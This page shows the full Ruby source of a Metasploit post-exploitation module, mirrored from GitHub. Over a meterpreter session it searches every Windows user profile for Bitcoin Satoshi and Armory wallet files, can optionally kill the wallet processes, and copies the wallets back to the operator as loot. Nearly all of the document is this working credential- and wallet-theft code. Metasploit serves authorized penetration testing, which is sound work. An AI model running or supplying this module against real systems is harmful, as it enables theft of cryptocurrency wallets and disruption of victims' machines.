Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/bitcoin_jacker.rb
19721 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
include Msf::Post::Windows::UserProfiles
9
include Msf::Post::File
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Gather Bitcoin Wallet',
16
'Description' => %q{
17
This module downloads any Bitcoin wallet files from the target
18
system. It currently supports both the classic Satoshi wallet and the
19
more recent Armory wallets. Note that Satoshi wallets tend to be
20
unencrypted by default, while Armory wallets tend to be encrypted by default.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'illwill <illwill[at]illmob.org>', # Original implementation
25
'todb' # Added Armory support
26
],
27
'Platform' => [ 'win' ], # TODO: Several more platforms host Bitcoin wallets...
28
'SessionTypes' => [ 'meterpreter' ],
29
'Notes' => {
30
'Stability' => [CRASH_SAFE],
31
'SideEffects' => [],
32
'Reliability' => []
33
},
34
'Compat' => {
35
'Meterpreter' => {
36
'Commands' => %w[
37
stdapi_sys_process_get_processes
38
stdapi_sys_process_kill
39
]
40
}
41
}
42
)
43
)
44
45
register_options([
46
OptBool.new('KILL_PROCESSES', [false, 'Kill associated Bitcoin processes before jacking.', false]),
47
])
48
end
49
50
def run
51
print_status('Checking all user profiles for Bitcoin wallets...')
52
found_wallets = false
53
grab_user_profiles.each do |user|
54
next unless user['AppData']
55
56
bitcoin_wallet_path = user['AppData'] + '\\Bitcoin\\wallet.dat'
57
next unless file?(bitcoin_wallet_path)
58
59
found_wallets = true
60
jack_wallet(bitcoin_wallet_path)
61
armory_wallet_path = user['AppData'] + '\\Armory'
62
session.fs.dir.foreach(armory_wallet_path) do |fname|
63
next unless fname =~ /\.wallet/
64
65
found_wallets = true
66
armory_wallet_fullpath = armory_wallet_path + "\\#{fname}"
67
jack_wallet(armory_wallet_fullpath)
68
end
69
end
70
unless found_wallets
71
print_warning 'No wallets found, nothing to do.'
72
end
73
end
74
75
def jack_wallet(wallet_path)
76
data = ''
77
wallet_type = case wallet_path
78
when /\.wallet$/
79
:armory
80
when /wallet\.dat$/
81
:satoshi
82
else
83
:unknown
84
end
85
86
if wallet_type == :unknown
87
print_error "Unknown wallet type: #{wallet_path}, nothing to do."
88
return
89
end
90
91
print_status("#{wallet_type.to_s.capitalize} Wallet found at #{wallet_path}")
92
print_status("Jackin' wallet...")
93
94
kill_bitcoin_processes if datastore['KILL_PROCESSES']
95
96
begin
97
data = read_file(wallet_path) || ''
98
rescue StandardError => e
99
print_error("Failed to download #{wallet_path}: #{e.class} #{e}")
100
return
101
end
102
103
if data.empty?
104
print_error('No data found, nothing to save.')
105
else
106
loot_result = store_loot(
107
"bitcoin.wallet.#{wallet_type}",
108
'application/octet-stream',
109
session,
110
data,
111
wallet_path,
112
"Bitcoin Wallet (#{wallet_type.to_s.capitalize})"
113
)
114
print_status("Wallet jacked: #{loot_result}")
115
end
116
end
117
118
def kill_bitcoin_processes
119
client.sys.process.get_processes.each do |process|
120
pname = process['name'].downcase
121
next unless pname == 'bitcoin.exe' || pname == 'bitcoind.exe' || pname == 'armoryqt.exe'
122
123
print_status("#{process['name']} Process Found...")
124
print_status("Killing Process ID #{process['pid']}...")
125
session.sys.process.kill(process['pid'])
126
end
127
end
128
end
129
130